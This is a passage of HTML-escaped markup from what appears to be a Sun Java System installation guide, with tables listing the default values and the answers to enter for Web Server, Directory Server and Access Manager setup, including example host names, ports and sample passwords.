class="pSmartList1"&gt;&lt;li&gt;The installation script prompts for a series of options. The following table shows how to respond to the Common and Web Server configuration options.&lt;/li&gt;&lt;/div&gt;&lt;a name="wp33912"&gt; &lt;/a&gt;&lt;p class="pAnchor"&gt; &lt;/p&gt;&lt;div align="left"&gt; &lt;table id="SummaryNotReq33779" border="1" cellpadding="5" cellspacing="0"&gt;   &lt;caption&gt;&lt;a name="wp33781"&gt; &lt;/a&gt;&lt;p class="pCaption"&gt; Table 4  Common and Web Server Settings   &lt;/p&gt; &lt;/caption&gt;   &lt;tbody&gt;&lt;tr align="left" bgcolor="#cdccee" valign="top"&gt;    &lt;th scope="col"&gt;&lt;a name="wp33787"&gt; &lt;/a&gt;&lt;p class="pTableHead"&gt; Option &lt;/p&gt; &lt;/th&gt;     &lt;th scope="col"&gt;&lt;a name="wp33789"&gt; &lt;/a&gt;&lt;p class="pTableHead"&gt; [Default Value] &lt;/p&gt; &lt;/th&gt;     &lt;th scope="col"&gt;&lt;a name="wp33791"&gt; &lt;/a&gt;&lt;p class="pTableHead"&gt; Enter: &lt;/p&gt; &lt;/th&gt; &lt;/tr&gt;   &lt;tr align="left" valign="top"&gt;    &lt;td&gt;&lt;a name="wp41739"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; &lt;b class="cBold"&gt;Common Server Settings&lt;/b&gt; &lt;/p&gt; &lt;/td&gt;     &lt;td&gt;&lt;a name="wp41741"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt;   &lt;/p&gt; &lt;/td&gt;     &lt;td&gt;&lt;a name="wp41743"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt;   &lt;/p&gt; &lt;/td&gt; &lt;/tr&gt;   &lt;tr align="left" valign="top"&gt;    &lt;td&gt;&lt;a name="wp33805"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; Host Name &lt;/p&gt; &lt;/td&gt;     &lt;td&gt;&lt;a name="wp33807"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt;am&lt;br /&gt;&lt;/p&gt; &lt;/td&gt;     &lt;td&gt;&lt;a name="wp33809"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; &lt;em class="cEmphasis"&gt;accept default&lt;/em&gt; &lt;/p&gt; &lt;/td&gt; &lt;/tr&gt;   &lt;tr align="left" valign="top"&gt;    &lt;td&gt;&lt;a name="wp33811"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; DNS Domain Name &lt;/p&gt; &lt;/td&gt;     &lt;td&gt;&lt;a name="wp33813"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt;abc.beta.com &lt;/p&gt; &lt;/td&gt;     &lt;td&gt;&lt;a name="wp33815"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; &lt;em class="cEmphasis"&gt;accept default&lt;/em&gt; &lt;/p&gt; &lt;/td&gt; &lt;/tr&gt;   &lt;tr align="left" valign="top"&gt;    &lt;td&gt;&lt;a name="wp33817"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; Host IP address &lt;/p&gt; &lt;/td&gt;     &lt;td&gt;&lt;a name="wp33819"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt;172.18.61.126 &lt;/p&gt; &lt;/td&gt;     &lt;td&gt;&lt;a name="wp33821"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; &lt;em class="cEmphasis"&gt;accept default&lt;/em&gt; &lt;/p&gt; &lt;/td&gt; &lt;/tr&gt;   &lt;tr align="left" valign="top"&gt;    &lt;td&gt;&lt;a name="wp33835"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; System user &lt;/p&gt; &lt;/td&gt;     &lt;td&gt;&lt;a name="wp33837"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; root &lt;/p&gt; &lt;/td&gt;     &lt;td&gt;&lt;a name="wp33839"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; &lt;em class="cEmphasis"&gt;accept default&lt;/em&gt; &lt;/p&gt; &lt;/td&gt; &lt;/tr&gt;   &lt;tr align="left" valign="top"&gt;    &lt;td&gt;&lt;a name="wp33841"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; System group &lt;/p&gt; &lt;/td&gt;     &lt;td&gt;&lt;a name="wp33843"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; root &lt;/p&gt; &lt;/td&gt;     &lt;td&gt;&lt;a name="wp33845"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; &lt;em class="cEmphasis"&gt;accept default&lt;/em&gt; &lt;/p&gt; &lt;/td&gt; &lt;/tr&gt;   &lt;tr align="left" valign="top"&gt;    &lt;td&gt;&lt;a name="wp33847"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; &lt;b class="cBold"&gt;Web Server Settings&lt;/b&gt; &lt;/p&gt; &lt;/td&gt;     &lt;td&gt;&lt;a name="wp33849"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt;   &lt;/p&gt; &lt;/td&gt;     &lt;td&gt;&lt;a name="wp33851"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt;   &lt;/p&gt; &lt;/td&gt; &lt;/tr&gt;   &lt;tr align="left" valign="top"&gt;    &lt;td&gt;&lt;a name="wp45780"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; Type of configuration &lt;/p&gt; &lt;/td&gt;     &lt;td&gt;&lt;a name="wp45782"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; [Configure Administration Instance as Server] &lt;/p&gt; &lt;/td&gt;     &lt;td&gt;&lt;a name="wp45789"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; &lt;em class="cEmphasis"&gt;accept default&lt;/em&gt; &lt;/p&gt; &lt;/td&gt; &lt;/tr&gt;   &lt;tr align="left" valign="top"&gt;    &lt;td&gt;&lt;a name="wp45795"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; Start servers after system startup &lt;/p&gt; &lt;/td&gt;     &lt;td&gt;&lt;a name="wp45797"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; [Unchecked] &lt;/p&gt; &lt;/td&gt;     &lt;td&gt;&lt;a name="wp45804"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; &lt;em class="cEmphasis"&gt;accept default&lt;/em&gt; &lt;/p&gt; &lt;/td&gt; &lt;/tr&gt;   &lt;tr align="left" valign="top"&gt;    &lt;td&gt;&lt;a name="wp45810"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; Server Host &lt;/p&gt; &lt;/td&gt;     &lt;td&gt;&lt;a name="wp45812"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt;am.abc.beta.com &lt;/p&gt; &lt;/td&gt;     &lt;td&gt;&lt;a name="wp45819"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; &lt;em class="cEmphasis"&gt;accept default&lt;/em&gt; &lt;/p&gt; &lt;/td&gt; &lt;/tr&gt;   &lt;tr align="left" valign="top"&gt;    &lt;td&gt;&lt;a name="wp45825"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; Admin Server SSL port &lt;/p&gt; &lt;/td&gt;     &lt;td&gt;&lt;a name="wp45827"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; 8989 &lt;/p&gt; &lt;/td&gt;     &lt;td&gt;&lt;a name="wp45829"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; &lt;em class="cEmphasis"&gt;accept default&lt;/em&gt; &lt;/p&gt; &lt;/td&gt; &lt;/tr&gt;   &lt;tr align="left" valign="top"&gt;    &lt;td&gt;&lt;a name="wp33871"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; Admin Server HTTP port &lt;/p&gt; &lt;/td&gt;     &lt;td&gt;&lt;a name="wp33873"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; 8800 &lt;/p&gt; &lt;/td&gt;     &lt;td&gt;&lt;a name="wp33875"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; &lt;em class="cEmphasis"&gt;accept default&lt;/em&gt; &lt;/p&gt; &lt;/td&gt; &lt;/tr&gt;   &lt;tr align="left" valign="top"&gt;    &lt;td&gt;&lt;a name="wp33877"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; Admin runtime user ID &lt;/p&gt; &lt;/td&gt;     &lt;td&gt;&lt;a name="wp33879"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; root &lt;/p&gt; &lt;/td&gt;     &lt;td&gt;&lt;a name="wp33881"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; &lt;em class="cEmphasis"&gt;accept default&lt;/em&gt; &lt;/p&gt; &lt;/td&gt; &lt;/tr&gt;   &lt;tr align="left" valign="top"&gt;    &lt;td&gt;&lt;a name="wp45837"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; Web Server Name &lt;/p&gt; &lt;/td&gt;     &lt;td&gt;&lt;a name="wp45839"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt;am.abc.beta.com &lt;/p&gt; &lt;/td&gt;     &lt;td&gt;&lt;a name="wp45846"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; &lt;em class="cEmphasis"&gt;accept default&lt;/em&gt; &lt;/p&gt; &lt;/td&gt; &lt;/tr&gt;   &lt;tr align="left" valign="top"&gt;    &lt;td&gt;&lt;a name="wp33895"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; HTTP port &lt;/p&gt; &lt;/td&gt;     &lt;td&gt;&lt;a name="wp33897"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; 80 &lt;/p&gt; &lt;/td&gt;     &lt;td&gt;&lt;a name="wp33899"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; &lt;em class="cEmphasis"&gt;accept default&lt;/em&gt; &lt;/p&gt; &lt;/td&gt; &lt;/tr&gt;   &lt;tr align="left" valign="top"&gt;    &lt;td&gt;&lt;a name="wp45831"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; Web Server runtime UNIX user ID &lt;/p&gt; &lt;/td&gt;     &lt;td&gt;&lt;a name="wp45833"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; webservd &lt;/p&gt; &lt;/td&gt;     &lt;td&gt;&lt;a name="wp45835"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; &lt;b class="cBold"&gt;webservd&lt;/b&gt; (Use root if deploying Portal Server.) &lt;/p&gt; &lt;/td&gt; &lt;/tr&gt;   &lt;tr align="left" valign="top"&gt;    &lt;td&gt;&lt;a name="wp33901"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; Document root directory &lt;/p&gt; &lt;/td&gt;     &lt;td&gt;&lt;a name="wp33903"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; [/var/opt/SUNWwbsvr7/https-am.abc.beta.com/docs] &lt;/p&gt; &lt;/td&gt;     &lt;td&gt;&lt;a name="wp33905"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; &lt;em class="cEmphasis"&gt;accept default&lt;/em&gt; &lt;/p&gt; &lt;/td&gt; &lt;/tr&gt; &lt;/tbody&gt;&lt;/table&gt; &lt;/div&gt;&lt;/ol&gt;&lt;/div&gt; &lt;a name="wp33920"&gt; &lt;/a&gt;&lt;h4 class="pHeading4"&gt;   To Select Directory Server Settings &lt;/h4&gt; &lt;div class="pSmartList1"&gt;&lt;ul class="pSmartList1"&gt;&lt;a name="wp33921"&gt; &lt;/a&gt;&lt;div class="pSmartList1"&gt;&lt;li&gt;The following table shows how to respond to the Directory Server configuration options.&lt;/li&gt;&lt;/div&gt;&lt;a name="wp34013"&gt; &lt;/a&gt;&lt;p class="pAnchor"&gt; &lt;/p&gt;&lt;div align="left"&gt; &lt;table id="SummaryNotReq33922" border="1" cellpadding="5" cellspacing="0"&gt;   &lt;caption&gt;&lt;a name="wp33924"&gt; &lt;/a&gt;&lt;p class="pCaption"&gt; Table 5  Directory Server Settings   &lt;/p&gt; &lt;/caption&gt;   &lt;tbody&gt;&lt;tr align="left" bgcolor="#cdccee" valign="top"&gt;    &lt;th scope="col"&gt;&lt;a name="wp33930"&gt; &lt;/a&gt;&lt;p class="pTableHead"&gt; Option &lt;/p&gt; &lt;/th&gt;     &lt;th scope="col"&gt;&lt;a name="wp33932"&gt; &lt;/a&gt;&lt;p class="pTableHead"&gt; [Default Value] &lt;/p&gt; &lt;/th&gt;     &lt;th scope="col"&gt;&lt;a name="wp33934"&gt; &lt;/a&gt;&lt;p class="pTableHead"&gt; Enter: &lt;/p&gt; &lt;/th&gt; &lt;/tr&gt;   &lt;tr align="left" valign="top"&gt;    &lt;td&gt;&lt;a name="wp48261"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; Create a Directory Instance? &lt;/p&gt; &lt;/td&gt;     &lt;td&gt;&lt;a name="wp48263"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; [Yes] &lt;/p&gt; &lt;/td&gt;     &lt;td&gt;&lt;a name="wp48270"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; &lt;em class="cEmphasis"&gt;accept default&lt;/em&gt; &lt;/p&gt; &lt;/td&gt; &lt;/tr&gt;   &lt;tr align="left" valign="top"&gt;    &lt;td&gt;&lt;a name="wp45852"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; Instance Directory &lt;/p&gt; &lt;/td&gt;     &lt;td&gt;&lt;a name="wp45854"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; [/var/opt/SUNWdsee/dsins1] &lt;/p&gt; &lt;/td&gt;     &lt;td&gt;&lt;a name="wp45856"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; &lt;em class="cEmphasis"&gt;accept default&lt;/em&gt; &lt;/p&gt; &lt;/td&gt; &lt;/tr&gt;   &lt;tr align="left" valign="top"&gt;    &lt;td&gt;&lt;a name="wp45858"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; Directory Instance Port &lt;/p&gt; &lt;/td&gt;     &lt;td&gt;&lt;a name="wp45860"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; [389] &lt;/p&gt; &lt;/td&gt;     &lt;td&gt;&lt;a name="wp45862"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; &lt;em class="cEmphasis"&gt;accept default&lt;/em&gt; &lt;/p&gt; &lt;/td&gt; &lt;/tr&gt;   &lt;tr align="left" valign="top"&gt;    &lt;td&gt;&lt;a name="wp45864"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; Directory Instance SSL Port &lt;/p&gt; &lt;/td&gt;     &lt;td&gt;&lt;a name="wp45866"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; [636] &lt;/p&gt; &lt;/td&gt;     &lt;td&gt;&lt;a name="wp45868"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; &lt;em class="cEmphasis"&gt;accept default&lt;/em&gt; &lt;/p&gt; &lt;/td&gt; &lt;/tr&gt;   &lt;tr align="left" valign="top"&gt;    &lt;td&gt;&lt;a name="wp33948"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; Directory Manager DN  &lt;/p&gt; &lt;/td&gt;     &lt;td&gt;&lt;a name="wp33950"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; [cn=Directory Manager] &lt;/p&gt; &lt;/td&gt;     &lt;td&gt;&lt;a name="wp33952"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; &lt;em class="cEmphasis"&gt;accept default&lt;/em&gt; &lt;/p&gt; &lt;/td&gt; &lt;/tr&gt;   &lt;tr align="left" valign="top"&gt;    &lt;td&gt;&lt;a name="wp33984"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; System User &lt;/p&gt; &lt;/td&gt;     &lt;td&gt;&lt;a name="wp33986"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; [root] &lt;/p&gt; &lt;/td&gt;     &lt;td&gt;&lt;a name="wp33988"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; &lt;em class="cEmphasis"&gt;accept default&lt;/em&gt; &lt;/p&gt; &lt;/td&gt; &lt;/tr&gt;   &lt;tr align="left" valign="top"&gt;    &lt;td&gt;&lt;a name="wp33990"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; System Group &lt;/p&gt; &lt;/td&gt;     &lt;td&gt;&lt;a name="wp33992"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; [root] (Use other on Solaris OS 9.) &lt;/p&gt; &lt;/td&gt;     &lt;td&gt;&lt;a name="wp33994"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; &lt;em class="cEmphasis"&gt;accept default&lt;/em&gt; &lt;/p&gt; &lt;/td&gt; &lt;/tr&gt;   &lt;tr align="left" valign="top"&gt;    &lt;td&gt;&lt;a name="wp45878"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; Directory Manager Password &lt;/p&gt; &lt;/td&gt;     &lt;td&gt;&lt;a name="wp45880"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; [adminpass] &lt;/p&gt; &lt;/td&gt;     &lt;td&gt;&lt;a name="wp45887"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; &lt;em class="cEmphasis"&gt;accept default&lt;/em&gt; &lt;/p&gt; &lt;/td&gt; &lt;/tr&gt;   &lt;tr align="left" valign="top"&gt;    &lt;td&gt;&lt;a name="wp45870"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; Suffix &lt;/p&gt; &lt;/td&gt;     &lt;td&gt;&lt;a name="wp45872"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; [dc=abc,dc=beta,dc=com] &lt;/p&gt; &lt;/td&gt;     &lt;td&gt;&lt;a name="wp45874"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; &lt;b class="cBold"&gt;o=beta.com&lt;/b&gt; &lt;/p&gt; &lt;/td&gt; &lt;/tr&gt; &lt;/tbody&gt;&lt;/table&gt; &lt;/div&gt;&lt;/ul&gt;&lt;/div&gt; &lt;a name="wp34089"&gt; &lt;/a&gt;&lt;h4 class="pHeading4"&gt;   To Select Access Manager Settings &lt;/h4&gt; &lt;div class="pSmartList1"&gt;&lt;ul class="pSmartList1"&gt;&lt;a name="wp34090"&gt; &lt;/a&gt;&lt;div class="pSmartList1"&gt;&lt;li&gt;The following table shows how to respond to the Access Manager configuration options.&lt;/li&gt;&lt;/div&gt;&lt;a name="wp34260"&gt; &lt;/a&gt;&lt;p class="pAnchor"&gt; &lt;/p&gt;&lt;div align="left"&gt; &lt;table id="SummaryNotReq34091" border="1" cellpadding="5" cellspacing="0"&gt;   &lt;caption&gt;&lt;a name="wp34093"&gt; &lt;/a&gt;&lt;p class="pCaption"&gt; Table  6 Access Manager Settings   &lt;/p&gt; &lt;/caption&gt;   &lt;tbody&gt;&lt;tr align="left" bgcolor="#cdccee" valign="top"&gt;    &lt;th scope="col"&gt;&lt;a name="wp34099"&gt; &lt;/a&gt;&lt;p class="pTableHead"&gt; Option &lt;/p&gt; &lt;/th&gt;     &lt;th scope="col"&gt;&lt;a name="wp34101"&gt; &lt;/a&gt;&lt;p class="pTableHead"&gt; [Default Value] &lt;/p&gt; &lt;/th&gt;     &lt;th scope="col"&gt;&lt;a name="wp34103"&gt; &lt;/a&gt;&lt;p class="pTableHead"&gt; Enter: &lt;/p&gt; &lt;/th&gt; &lt;/tr&gt;   &lt;tr align="left" valign="top"&gt;    &lt;td&gt;&lt;a name="wp46068"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; Install type &lt;/p&gt; &lt;/td&gt;     &lt;td&gt;&lt;a name="wp46070"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; Legacy Mode (version 6.x style) &lt;/p&gt; &lt;/td&gt;     &lt;td&gt;&lt;a name="wp46077"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; &lt;em class="cEmphasis"&gt;accept default&lt;/em&gt; &lt;/p&gt; &lt;/td&gt; &lt;/tr&gt;   &lt;tr align="left" valign="top"&gt;    &lt;td&gt;&lt;a name="wp34105"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; Admin User ID &lt;/p&gt; &lt;/td&gt;     &lt;td&gt;&lt;a name="wp34107"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; amadmin &lt;/p&gt; &lt;/td&gt;     &lt;td&gt;&lt;a name="wp34109"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; &lt;em class="cEmphasis"&gt;accept default&lt;/em&gt; &lt;/p&gt; &lt;/td&gt; &lt;/tr&gt;   &lt;tr align="left" valign="top"&gt;    &lt;td&gt;&lt;a name="wp34111"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; Password &lt;/p&gt; &lt;/td&gt;     &lt;td&gt;&lt;a name="wp34113"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; -- &lt;/p&gt; &lt;/td&gt;     &lt;td&gt;&lt;a name="wp38187"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; &lt;b style="font-weight: bold;" class="cBold"&gt;adminpass &lt;/b&gt;&lt;shared&gt; &lt;/shared&gt;&lt;/p&gt; &lt;/td&gt; &lt;/tr&gt;   &lt;tr align="left" valign="top"&gt;    &lt;td&gt;&lt;a name="wp34117"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; LDAP User ID &lt;/p&gt; &lt;/td&gt;     &lt;td&gt;&lt;a name="wp34119"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; amldapuser &lt;/p&gt; &lt;/td&gt;     &lt;td&gt;&lt;a name="wp34121"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; &lt;em class="cEmphasis"&gt;accept default&lt;/em&gt; &lt;/p&gt; &lt;/td&gt; &lt;/tr&gt;   &lt;tr align="left" valign="top"&gt;    &lt;td&gt;&lt;a name="wp34123"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; LDAP Password &lt;/p&gt; &lt;/td&gt;     &lt;td&gt;&lt;a name="wp34125"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; -- &lt;/p&gt; &lt;/td&gt;     &lt;td&gt;&lt;a name="wp34127"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; &lt;b class="cBold"&gt;nadminpass&lt;/b&gt; &lt;/p&gt; &lt;/td&gt; &lt;/tr&gt;   &lt;tr align="left" valign="top"&gt;    &lt;td&gt;&lt;a name="wp34129"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; Password Encryption Key &lt;/p&gt; &lt;/td&gt;     &lt;td&gt;&lt;a name="wp34131"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; 87dfjkauefjkdafdadf... &lt;/p&gt; &lt;/td&gt;     &lt;td&gt;&lt;a name="wp34133"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; &lt;em class="cEmphasis"&gt;accept default&lt;/em&gt; &lt;/p&gt; &lt;/td&gt; &lt;/tr&gt;   &lt;tr align="left" valign="top"&gt;    &lt;td&gt;&lt;a name="wp34135"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; Access Manager Web Container Options &lt;/p&gt; &lt;/td&gt;     &lt;td&gt;&lt;a name="wp34137"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; [Sun Java System Web Server] &lt;/p&gt; &lt;/td&gt;     &lt;td&gt;&lt;a name="wp34139"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; Choose&lt;b class="cBold"&gt; Sun Java System Web Server&lt;/b&gt; &lt;/p&gt; &lt;/td&gt; &lt;/tr&gt;   &lt;tr align="left" valign="top"&gt;    &lt;td&gt;&lt;a name="wp34141"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; Hostname &lt;/p&gt; &lt;/td&gt;     &lt;td&gt;&lt;a name="wp34143"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; [am.abc.beta.com] &lt;/p&gt; &lt;/td&gt;     &lt;td&gt;&lt;a name="wp38196"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; &lt;em class="cEmphasis"&gt;accept default&lt;/em&gt; &lt;/p&gt; &lt;/td&gt; &lt;/tr&gt;   &lt;tr align="left" valign="top"&gt;    &lt;td&gt;&lt;a name="wp47611"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; Services Deployment URI &lt;/p&gt; &lt;/td&gt;     &lt;td&gt;&lt;a name="wp47613"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; [amserver] &lt;/p&gt; &lt;/td&gt;     &lt;td&gt;&lt;a name="wp47623"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; &lt;em class="cEmphasis"&gt;accept default&lt;/em&gt; &lt;/p&gt; &lt;/td&gt; &lt;/tr&gt;   &lt;tr align="left" valign="top"&gt;    &lt;td&gt;&lt;a name="wp34183"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; Common Domain Deployment URI &lt;/p&gt; &lt;/td&gt;     &lt;td&gt;&lt;a name="wp34185"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; [amcommon] &lt;/p&gt; &lt;/td&gt;     &lt;td&gt;&lt;a name="wp34187"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; &lt;em class="cEmphasis"&gt;accept default&lt;/em&gt; &lt;/p&gt; &lt;/td&gt; &lt;/tr&gt;   &lt;tr align="left" valign="top"&gt;    &lt;td&gt;&lt;a name="wp34189"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; Cookie Domain &lt;/p&gt; &lt;/td&gt;     &lt;td&gt;&lt;a name="wp34191"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; [.beta.com] &lt;/p&gt; &lt;/td&gt;     &lt;td&gt;&lt;a name="wp34193"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; &lt;b class="cBold"&gt;.beta.com&lt;/b&gt; &lt;/p&gt; &lt;/td&gt; &lt;/tr&gt;   &lt;tr align="left" valign="top"&gt;    &lt;td&gt;&lt;a name="wp46101"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; Password Deployment URI &lt;/p&gt; &lt;/td&gt;     &lt;td&gt;&lt;a name="wp46103"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; [ampassword] &lt;/p&gt; &lt;/td&gt;     &lt;td&gt;&lt;a name="wp46110"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; &lt;em class="cEmphasis"&gt;accept default&lt;/em&gt; &lt;/p&gt; &lt;/td&gt; &lt;/tr&gt;   &lt;tr align="left" valign="top"&gt;    &lt;td&gt;&lt;a name="wp46116"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; Console Protocol &lt;/p&gt; &lt;/td&gt;     &lt;td&gt;&lt;a name="wp46118"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; [HTTP] &lt;/p&gt; &lt;/td&gt;     &lt;td&gt;&lt;a name="wp46125"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; &lt;em class="cEmphasis"&gt;accept default&lt;/em&gt; &lt;/p&gt; &lt;/td&gt; &lt;/tr&gt;   &lt;tr align="left" valign="top"&gt;    &lt;td&gt;&lt;a name="wp34195"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; Administration Console &lt;/p&gt; &lt;/td&gt;     &lt;td&gt;&lt;a name="wp34197"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; [Deploy new console] &lt;/p&gt; &lt;/td&gt;     &lt;td&gt;&lt;a name="wp34199"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; &lt;em class="cEmphasis"&gt;accept default&lt;/em&gt; &lt;/p&gt; &lt;/td&gt; &lt;/tr&gt;   &lt;tr align="left" valign="top"&gt;    &lt;td&gt;&lt;a name="wp34201"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; Console Deployment URI &lt;/p&gt; &lt;/td&gt;     &lt;td&gt;&lt;a name="wp34203"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; [amconsole] &lt;/p&gt; &lt;/td&gt;     &lt;td&gt;&lt;a name="wp34205"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; &lt;em class="cEmphasis"&gt;accept default&lt;/em&gt; &lt;/p&gt; &lt;/td&gt; &lt;/tr&gt;   &lt;tr align="left" valign="top"&gt;    &lt;td&gt;&lt;a name="wp34213"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; Console Host Name &lt;/p&gt; &lt;/td&gt;     &lt;td&gt;&lt;a name="wp34215"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; [am.abc.beta.com] &lt;/p&gt; &lt;/td&gt;     &lt;td&gt;&lt;a name="wp38223"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; &lt;em class="cEmphasis"&gt;accept default&lt;/em&gt; &lt;/p&gt; &lt;/td&gt; &lt;/tr&gt;   &lt;tr align="left" valign="top"&gt;    &lt;td&gt;&lt;a name="wp34219"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; Console Port &lt;/p&gt; &lt;/td&gt;     &lt;td&gt;&lt;a name="wp34221"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; [80] &lt;/p&gt; &lt;/td&gt;     &lt;td&gt;&lt;a name="wp34223"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; &lt;em class="cEmphasis"&gt;accept default&lt;/em&gt; &lt;/p&gt; &lt;/td&gt; &lt;/tr&gt;   &lt;tr align="left" valign="top"&gt;    &lt;td&gt;&lt;a name="wp34225"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; Choose Directory Server&lt;br /&gt;&lt;/p&gt; &lt;/td&gt;     &lt;td&gt;&lt;a name="wp34227"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt;ds.abc.beta.com:389 &lt;/p&gt; &lt;/td&gt;     &lt;td&gt;&lt;a name="wp37343"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; &lt;em class="cEmphasis"&gt;accept default&lt;/em&gt; &lt;/p&gt; &lt;/td&gt; &lt;/tr&gt;   &lt;tr align="left" 